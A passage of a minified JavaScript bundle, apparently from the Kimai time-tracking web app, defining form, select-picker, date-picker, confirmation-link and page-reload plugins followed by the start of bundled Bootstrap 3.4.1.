e.__proto__||Object.getPrototypeOf(e)})(e)}var Ln=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&vn(e,t)}(a,e);var t,n,r,i=bn(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"form-select"}},{key:"activateSelectPicker",value:function(e,t){var n=this.selector,r={};void 0!==t&&(r={dropdownParent:un(t)}),r=_n(_n({},r),{language:this.getConfiguration("locale").replace("_","-"),theme:"bootstrap",matcher:function e(t,n){if(""===T().trim(t.term))return n;var r=n.children&&n.children.length>0,i=t.term.toUpperCase().split(" "),a=n.text.toUpperCase(),o=!0,s=!1,l=[];if(i.forEach((function(e,t){a.indexOf(e)>-1?s=!0:(o=!1,l.push(e))})),o)return n;if(r){var u=T().extend(!0,{},t);u.term=s?l.join(" "):t.term;for(var c=T().extend(!0,{},n),d=n.children.length-1;d>=0;d--)null===e(u,n.children[d])&&c.children.splice(d,1);if(c.children.length>0)return c}return null}});var i=function(e){return T()('<span><span style="background-color:'+e.id+'; width: 20px; height: 20px; display: inline-block; margin-right: 10px;">&nbsp;</span>'+e.text+"</span>")},a=_n(_n({},r),{templateSelection:i,templateResult:i});T()(e+" "+n+":not([data-renderer=color])").select2(r),T()(e+" "+n+"[data-renderer=color]").select2(a),T()("body").on("reset","form",(function(e){setTimeout((function(){T()(e.target).find(n).trigger("change")}),10)}))}},{key:"destroySelectPicker",value:function(e){T()(e+" "+this.selector).select2("destroy")}},{key:"updateOptions",value:function(e,t){var n=T()(e),r=T()(e+' option[value=""]'),i=n.val();n.find("option").remove().end().find("optgroup").remove().end(),0!==r.length&&n.append(this._createOption(r.text(),""));for(var a=[],o=[],s=0,l=Object.entries(t);s<l.length;s++){var u=fn(l[s],2),c=u[0],d=u[1];if("__empty__"!==c){var f,h=this._createOptgroup(c),m=dn(d);try{for(m.s();!(f=m.n()).done;){var p=f.value;h.appendChild(this._createOption(p.name,p.id))}}catch(e){m.e(e)}finally{m.f()}o.push(h)}else{var _,y=dn(d);try{for(y.s();!(_=y.n()).done;){var g=_.value;a.push(this._createOption(g.name,g.id))}}catch(e){y.e(e)}finally{y.f()}}}n.append(o),n.append(a),n.val(i),n.trigger("change"),n.hasClass("selectpicker")&&n.trigger("change.select2")}},{key:"_createOption",value:function(e,t){var n=document.createElement("option");return n.innerText=e,n.value=t,n}},{key:"_createOptgroup",value:function(e){var t=document.createElement("optgroup");return t.label=e,t}}])&&gn(t.prototype,n),r&&gn(t,r),a}(c);function kn(e){return(kn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Yn(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return Dn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Dn(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,o=!0,s=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return o=e.done,e},e:function(e){s=!0,a=e},f:function(){try{o||null==n.return||n.return()}finally{if(s)throw a}}}}function Dn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Tn(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function xn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Sn(e,t){return(Sn=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function jn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Cn(e);if(t){var i=Cn(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return On(this,n)}}function On(e,t){return!t||"object"!==kn(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Cn(e){return(Cn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Hn=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Sn(e,t)}(a,e);var t,n,r,i=jn(a);function a(){return Tn(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"getId",value:function(){return"form"}},{key:"activateForm",value:function(e,t){this.getContainer().getPlugin("date-range-picker").activateDateRangePicker(e),this.getContainer().getPlugin("date-time-picker").activateDateTimePicker(e),this.getContainer().getPlugin("date-picker").activateDatePicker(e),this.getContainer().getPlugin("autocomplete").activateAutocomplete(e),this.getContainer().getPlugin("form-select").activateSelectPicker(e,t)}},{key:"destroyForm",value:function(e){this.getContainer().getPlugin("form-select").destroySelectPicker(e),this.getContainer().getPlugin("autocomplete").destroyAutocomplete(e),this.getContainer().getPlugin("date-picker").destroyDatePicker(e),this.getContainer().getPlugin("date-time-picker").destroyDateTimePicker(e),this.getContainer().getPlugin("date-range-picker").destroyDateRangePicker(e)}},{key:"getFormData",value:function(e){for(var t=[],n=0;n<e.elements.length;n++){var r=e.elements[n];if(r.name&&!r.disabled&&"file"!==r.type&&"reset"!==r.type&&"submit"!==r.type&&"button"!==r.type)if("select-multiple"===r.type)for(var i=0;i<r.options.length;i++)r.options[i].selected&&t.push({name:r.name,value:r.options[i].value});else("checkbox"!==r.type&&"radio"!==r.type||r.checked)&&t.push({name:r.name,value:r.value})}return t}},{key:"convertFormDataToQueryString",value:function(e){var t,n=[],r=Yn(e);try{for(r.s();!(t=r.n()).done;){var i=t.value;n.push(encodeURIComponent(i.name)+"="+encodeURIComponent(i.value))}}catch(e){r.e(e)}finally{r.f()}return n.join("&")}}])&&xn(t.prototype,n),r&&xn(t,r),a}(c);function En(e){return(En="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Pn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function An(e,t){return(An=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Rn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Wn(e);if(t){var i=Wn(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return In(this,n)}}function In(e,t){return!t||"object"!==En(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Wn(e){return(Wn=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Nn=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&An(e,t)}(a,e);var t,n,r,i=Rn(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"getId",value:function(){return"date-picker"}},{key:"activateDatePicker",value:function(e){var t=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),r=this.getConfiguration("first_dow_iso")%7;T()(e+" "+this.selector).each((function(e){var i=T()(this).data("format");T()(this).daterangepicker({singleDatePicker:!0,showDropdowns:!0,autoUpdateInput:!1,locale:{format:i,firstDay:r,applyLabel:t.get("confirm"),cancelLabel:t.get("cancel"),customRangeLabel:t.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()}}),T()(this).on("apply.daterangepicker",(function(e,t){T()(this).val(t.startDate.format(i)),T()(this).trigger("change")}))}))}},{key:"destroyDatePicker",value:function(e){T()(e+" "+this.selector).each((function(e){void 0!==T()(this).data("daterangepicker")&&(T()(this).daterangepicker("destroy"),T()(this).data("daterangepicker").remove())}))}}])&&Pn(t.prototype,n),r&&Pn(t,r),a}(c);function $n(e){return($n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Fn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function zn(e,t){return(zn=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Bn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Un(e);if(t){var i=Un(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return qn(this,n)}}function qn(e,t){return!t||"object"!==$n(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Un(e){return(Un=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Jn=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&zn(e,t)}(a,e);var t,n,r,i=Bn(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),(t=i.call(this)).selector=e,t}return t=a,(n=[{key:"init",value:function(){var e=this;document.addEventListener("click",(function(t){for(var n=t.target;null!==n&&!n.matches("body");)n.classList.contains(e.selector)&&function(){var r=n.dataset,i=r.href;i||(i=n.getAttribute("href"));var a=null;"submit"===n.type&&void 0!==n.form&&(a=n.form),void 0!==r.question&&e.getContainer().getPlugin("alert").question(r.question,(function(e){e&&(null===a?document.location=i:(null!==i&&(a.action=i),a.submit()))})),t.preventDefault(),t.stopPropagation()}(),n=n.parentNode}))}}])&&Fn(t.prototype,n),r&&Fn(t,r),a}(c),Vn=n(9755);function Gn(e){return(Gn="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Kn(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Zn(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Xn(e,t){return(Xn=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Qn(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=tr(e);if(t){var i=tr(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return er(this,n)}}function er(e,t){return!t||"object"!==Gn(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function tr(e){return(tr=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var nr=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Xn(e,t)}(a,e);var t,n,r,i=Qn(a);function a(){return Kn(this,a),i.apply(this,arguments)}return t=a,(n=[{key:"init",value:function(){var e=this;T()("body").on("change","#multi_update_all",(function(t){T()(".multi_update_single").prop("checked",T()(t.target).prop("checked")),e.toggleForm()})).on("change",".multi_update_single",(function(t){e.toggleForm()})).on("change","#multi_update_table_action",(function(t){var n=T()("#multi_update_table_action option:selected"),r=n.val();if(""!==r){var i=T()("#multi_update_form form"),a=n.text(),o=e.getSelectedIds(),s=i.attr("data-question").replace(/%action%/,a).replace(/%count%/,o.length);e.getContainer().getPlugin("alert").question(s,(function(e){e?i.attr("action",r).submit():T()("#multi_update_table_action").val("").trigger("change")}))}}))}},{key:"getSelectedIds",value:function(){var e=[];return T()(".multi_update_single:checked").each((function(t){e[t]=Vn(this).val()})),e}},{key:"toggleForm",value:function(){var e=this.getSelectedIds();T()("#multi_update_table_entities").val(e.join(",")),e.length>0?T()("#multi_update_form").show():T()("#multi_update_form").hide()}}])&&Zn(t.prototype,n),r&&Zn(t,r),a}(c);n(9714);function rr(e){return(rr="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function ir(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function ar(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function or(e,t){return(or=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function sr(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=ur(e);if(t){var i=ur(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return lr(this,n)}}function lr(e,t){return!t||"object"!==rr(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function ur(e){return(ur=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var cr=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&or(e,t)}(o,e);var t,n,r,a=sr(o);function o(){return ir(this,o),a.apply(this,arguments)}return t=o,(n=[{key:"getId",value:function(){return"date"}},{key:"getWeekDaysShort",value:function(){return i().localeData().weekdaysShort()}},{key:"getMonthNames",value:function(){return i().localeData().months()}},{key:"formatDuration",value:function(e){var t=i().duration(i()(new Date).diff(i()(e)));return this.formatMomentDuration(t)}},{key:"formatSeconds",value:function(e){var t=i().duration("PT"+e+"S");return this.formatMomentDuration(t)}},{key:"formatMomentDuration",value:function(e){var t=parseInt(e.asHours()).toString(),n=e.minutes(),r=e.seconds();return this.formatTime(t,n,r)}},{key:"formatTime",value:function(e,t,n){return e<0||t<0||n<0?"?":(1===e.length&&(e="0"+e),this.getConfiguration("formatDuration").replace("%h",e).replace("%m",("0"+t).substr(-2)).replace("%s",("0"+n).substr(-2)))}}])&&ar(t.prototype,n),r&&ar(t,r),o}(c);function dr(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var fr,hr,mr=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),i().locale(t.locale.replace("_","-").toLowerCase());var r=new m(new l(t),new o(n));r.registerPlugin(new At),r.registerPlugin(new Le),r.registerPlugin(new Qt),r.registerPlugin(new cr),r.registerPlugin(new Ln(".selectpicker")),r.registerPlugin(new Jn("confirmation-link")),r.registerPlugin(new L("[data-since]")),r.registerPlugin(new A("data-column-visibility")),r.registerPlugin(new Z('input[data-daterangepickerenable="on"]')),r.registerPlugin(new Ne('input[data-datetimepicker="on"]')),r.registerPlugin(new Nn('input[data-datepickerenable="on"]')),r.registerPlugin(new oe("section.content","table.dataTable")),r.registerPlugin(new he("form.searchform","toolbar-action")),r.registerPlugin(new He("select[data-related-select]")),r.registerPlugin(new tt(".alternative-link")),r.registerPlugin(new lt(".modal-ajax-form")),r.registerPlugin(new Dt("li.notifications-menu")),r.registerPlugin(new yt("li.messages-menu","li.messages-menu-empty")),r.registerPlugin(new zt("api-link")),r.registerPlugin(new ln(".js-autocomplete")),r.registerPlugin(new Hn),r.registerPlugin(new B),r.registerPlugin(new nr),r.getPlugin("event").trigger("kimai.pluginRegister",{kimai:r}),r.getPlugins().map((function(e){e.init()})),r.getPlugin("event").trigger("kimai.initialized",{kimai:r}),this.kimai=r}var t,n,r;return t=e,(n=[{key:"getKimai",value:function(){return this.kimai}}])&&dr(t.prototype,n),r&&dr(t,r),e}();function pr(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function _r(e,t){return(_r=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function yr(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=vr(e);if(t){var i=vr(this).constructor;n=Reflect.construct(r,arguments,i)}else n=r.apply(this,arguments);return gr(this,n)}}function gr(e,t){return!t||"object"!==br(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function vr(e){return(vr=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function br(e){return(br="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e=n.hmd(e),fr="undefined"!=typeof self?self:void 0,hr=function(){return function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&_r(e,t)}(n,e);var t=yr(n);function n(){return pr(this,n),t.apply(this,arguments)}return n}(mr)},"function"==typeof define&&n.amdO?define([],(function(){return fr.KimaiWebLoader=hr()})):"object"===br(e)&&e.exports?e.exports=hr():fr.KimaiWebLoader=hr()},3954:function(e,t,n){"use strict";n.d(t,{Z:function(){return o}});var r=n(6808),i=n.n(r);function a(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var o=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}var t,n,r;return t=e,r=[{key:"set",value:function(e,t,n){i().set(e,t,n)}},{key:"get",value:function(e){return i().getJSON(e)}},{key:"remove",value:function(e){i().remove(e)}}],(n=null)&&a(t.prototype,n),r&&a(t,r),e}()},985:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});n(4916),n(3123),n(9826),n(5306),n(7042),n(1539),n(8309),n(1038),n(8783),n(2526),n(1817),n(2165),n(6992),n(3948);var r=n(9755),i=n.n(r);function a(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return o(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return o(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,s=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return s=e.done,e},e:function(e){l=!0,a=e},f:function(){try{s||null==n.return||n.return()}finally{if(l)throw a}}}}function o(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function s(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var l=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.selector=t,this.overlay=i()('<div class="overlay"><div class="fas fa-sync fa-spin"></div></div>'),this.widget=i()(this.selector),this.href=this.widget.data("href"),this.events=this.widget.data("reload").split(" ");var n,r=this,o=function(e){var t=i()(r.selector+" .box-tools").data("page"),n=r._buildUrl(t);r.loadPage(n)},s=a(this.events);try{for(s.s();!(n=s.n()).done;){var l=n.value;document.addEventListener(l,o)}}catch(e){s.e(e)}finally{s.f()}this.widget.on("click",".box-tools ul.pagination a",(function(e){e.preventDefault(),r.loadPage(i()(e.currentTarget).attr("href"))}))}var t,n,r;return t=e,r=[{key:"create",value:function(t){return new e(t)}}],(n=[{key:"_showOverlay",value:function(){this.widget.append(this.overlay)}},{key:"_hideOverlay",value:function(){i()(this.overlay).remove()}},{key:"loadPage",value:function(e){var t=this,n=this.selector;t._showOverlay(),i().ajax({url:e,data:{},success:function(e){var r=i()(e);i()(n+" .box-tools").replaceWith(r.find(".box-tools")),i()(n+" .box-body").replaceWith(r.find(".box-body")),i()(n+" .box-title").replaceWith(r.find(".box-title")),i()(n+" .box-footer").length>0&&i()(n+" .box-footer").replaceWith(r.find(".box-footer")),i()(n+' .box-body [data-toggle="tooltip"]').tooltip(),t.widget.removeData("error-retry"),t._hideOverlay()},dataType:"html",error:function(e,r,a){if(void 0!==e.status&&500===e.status){if(void 0!==t.widget.data("error-retry"))return;var o=i()(n+" .box-tools").data("page");if(o>1){t.widget.data("error-retry",1);var s=t._buildUrl(o-1);t.loadPage(s)}}t._hideOverlay()}})}},{key:"_buildUrl",value:function(e){return this.href.replace("1",e)}}])&&s(t.prototype,n),r&&s(t,r),e}()},8227:function(e,t,n){"use strict";n.d(t,{Z:function(){return l}});n(4916),n(3123),n(9826),n(7042),n(1539),n(8309),n(1038),n(8783),n(2526),n(1817),n(2165),n(6992),n(3948);var r=n(9755),i=n.n(r);function a(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=function(e,t){if(!e)return;if("string"==typeof e)return o(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return o(e,t)}(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,i=function(){};return{s:i,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var a,s=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return s=e.done,e},e:function(e){l=!0,a=e},f:function(){try{s||null==n.return||n.return()}finally{if(l)throw a}}}}function o(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function s(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var l=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.overlay=i()('<div class="overlay-wrapper"><div class="overlay"><div class="fas fa-sync fa-spin"></div></div></div>'),this.widget=i()("div.content-wrapper");var r,o=this,s=function(e){n?document.location.reload(!0):o.loadPage(document.location)},l=a(t.split(" "));try{for(l.s();!(r=l.n()).done;){var u=r.value;document.addEventListener(u,s)}}catch(e){l.e(e)}finally{l.f()}}var t,n,r;return t=e,r=[{key:"create",value:function(t,n){return null==n&&(n=!1),new e(t,n)}}],(n=[{key:"_showOverlay",value:function(){this.widget.append(this.overlay)}},{key:"_hideOverlay",value:function(){i()(this.overlay).remove()}},{key:"loadPage",value:function(e){var t=this;t._showOverlay(),i().ajax({url:e,data:{},success:function(e){i()("section.content").replaceWith(i()(e).find("section.content")),document.dispatchEvent(new Event("kimai.reloadPage")),t._hideOverlay()},dataType:"html",error:function(n,r,i){t._hideOverlay(),document.location=e}})}}])&&s(t.prototype,n),r&&s(t,r),e}()},3002:function(e,t,n){var r=n(9755);if(void 0===r)throw new Error("Bootstrap's JavaScript requires jQuery");!function(e){"use strict";var t=e.fn.jquery.split(" ")[0].split(".");if(t[0]<2&&t[1]<9||1==t[0]&&9==t[1]&&t[2]<1||t[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(r),function(e){"use strict";e.fn.emulateTransitionEnd=function(t){var n=!1,r=this;e(this).one("bsTransitionEnd",(function(){n=!0}));return setTimeout((function(){n||e(r).trigger(e.support.transition.end)}),t),this},e((function(){e.support.transition=function(){var e=document.createElement("bootstrap"),t={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var n in t)if(void 0!==e.style[n])return{end:t[n]};return!1}(),e.support.transition&&(e.event.special.bsTransitionEnd={bindType:e.support.transition.end,delegateType:e.support.transition.end,handle:function(t){if(e(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}})}))}(r),function(e){"use strict";var t='[data-dismiss="alert"]',n=function(n){e(n).on("click",t,this.close)};n.VERSION="3.4.1",n.TRANSITION_DURATION=150,n.prototype.close=function(t){var r=e(this),i=r.attr("data-target");i||(i=(i=r.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),i="#"===i?[]:i;var a=e(document).find(i);function o(){a.detach().trigger("closed.bs.alert").remove()}t&&t.preventDefault(),a.length||(a=r.closest(".alert")),a.trigger(t=e.Event("close.bs.alert")),t.isDefaultPrevented()||(a.removeClass("in"),e.support.transition&&a.hasClass("fade")?a.one("bsTransitionEnd",o).emulateTransitionEnd(n.TRANSITION_DURATION):o())};var r=e.fn.alert;e.fn.alert=function(t){return this.each((function(){var r=e(this),i=r.data("bs.alert");i||r.data("bs.alert",i=new n(this)),"string"==typeof t&&i[t].call(r)}))},e.fn.alert.Constructor=n,e.fn.alert.noConflict=function(){return e.fn.alert=r,this},e(document).on("click.bs.alert.data-api",t,n.prototype.close)}(r),function(e){"use strict";var t=function(n,r){this.$element=e(n),this.options=e.extend({},t.DEFAULTS,r),this.isLoading=!1};function n(n){return this.each((function(){var r=e(this),i=r.data("bs.button"),a="object"==typeof n&&n;i||r.data("bs.button",i=new t(this,a)),"toggle"==n?i.toggle():n&&i.setState(n)}))}t.VERSION="3.4.1",t.DEFAULTS={loadingText:"loading..."},t.prototype.setState=function(t){var n="disabled",r=this.$element,i=r.is("input")?"val":"html",a=r.data();t+="Text",null==a.resetText&&r.data("resetText",r[i]()),setTimeout(e.proxy((function(){r[i](null==a[t]?this.options[t]:a[t]),"loadingText"==t?(this.isLoading=!0,r.addClass(n).attr(n,n).prop(n,!0)):this.isLoading&&(this.isLoading=!1,r.removeClass(n).removeAttr(n).prop(n,!1))}),this),0)},t.prototype.toggle=function(){var e=!0,t=this.$element.closest('[data-toggle="buttons"]');if(t.length){var n=this.$element.find("input");"radio"==n.prop("type")?(n.prop("checked")&&(e=!1),t.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==n.prop("type")&&(n.prop("checked")!==this.$element.hasClass("active")&&(e=!1),this.$element.toggleClass("active")),n.prop("checked",this.$element.hasClass("active")),e&&n.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var r=e.fn.button;e.fn.button=n,e.fn.button.Constructor=t,e.fn.button.noConflict=function(){return e.fn.button=r,this},e(document).on("click.bs.button.data-api",'[data-toggle^="button"]',(function(t){var 